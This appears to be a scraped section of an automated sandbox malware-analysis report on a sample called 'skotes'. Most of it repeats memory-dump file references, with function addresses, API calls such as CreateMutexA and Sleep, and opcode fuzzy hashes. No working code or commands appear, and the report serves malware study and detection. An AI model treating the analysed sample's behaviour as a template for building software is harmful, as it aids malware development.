Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2ef1f56e9d3b96db783d65d0d64ba0ab4d12b19e115965c84fb7e9289cea47ac
Instruction ID: 3b535bacb48e03c14f3fdf1890b07d2b79a7ab286b94b4a8256b96c8492c96f9
Opcode Fuzzy Hash: 2ef1f56e9d3b96db783d65d0d64ba0ab4d12b19e115965c84fb7e9289cea47ac
Instruction Fuzzy Hash: FD212C71354201DAEF2877A89CAEB7DB692EF91305FB4081AE20CD62D1CB769985C1D3

Function 0019A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3b9c107abdf16fb24e43227be39c408b8527e0606b85cfe546c8b60a55dc9105
Instruction ID: b35ae5409f906ff9c7dffef24961cb3aeec91f34d54a623f9268b24d626cfd4f
Opcode Fuzzy Hash: 3b9c107abdf16fb24e43227be39c408b8527e0606b85cfe546c8b60a55dc9105
Instruction Fuzzy Hash: AD2179317002009BEF089B68EC9977DBB72FFE2310F60461DE4189B6D0CB769A84C292

Non-executed Functions

Function 00192EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00192F5F
__Mtx_unlock.LIBCPMT ref: 00192FCC
__Cnd_broadcast.LIBCPMT ref: 00192FE3
__Mtx_unlock.LIBCPMT ref: 001930F5
__Mtx_unlock.LIBCPMT ref: 0019319B

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 79cdb060fe5af0c69c6e6f72bc84cb5e622e66696449fa9197f7db2c011fd3c0
Instruction ID: 02e5c3649cbe9d33939613d3a49ff9f09ce2317bf195cf18c417c5ba1fdaeb49
Opcode Fuzzy Hash: 79cdb060fe5af0c69c6e6f72bc84cb5e622e66696449fa9197f7db2c011fd3c0
Instruction Fuzzy Hash: C2A1C0B0A01605AFDF25DF64C944BAAB7F8FF25314F04812AE825D7251EB31EA04CBD1

Function 001CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001CCC66

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: f97d4599da598b88e2cdab96dd2d5b8ef1f15fa50ac17ed47a72b0be8718aa95
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: E5B101329042859FDB158F68C881BBEBFA5EF66340F1441AEE859EB241D734CD02CBE4

Function 001ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 001ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABBE4
_xtime_get.LIBCPMT ref: 001ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABC13

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
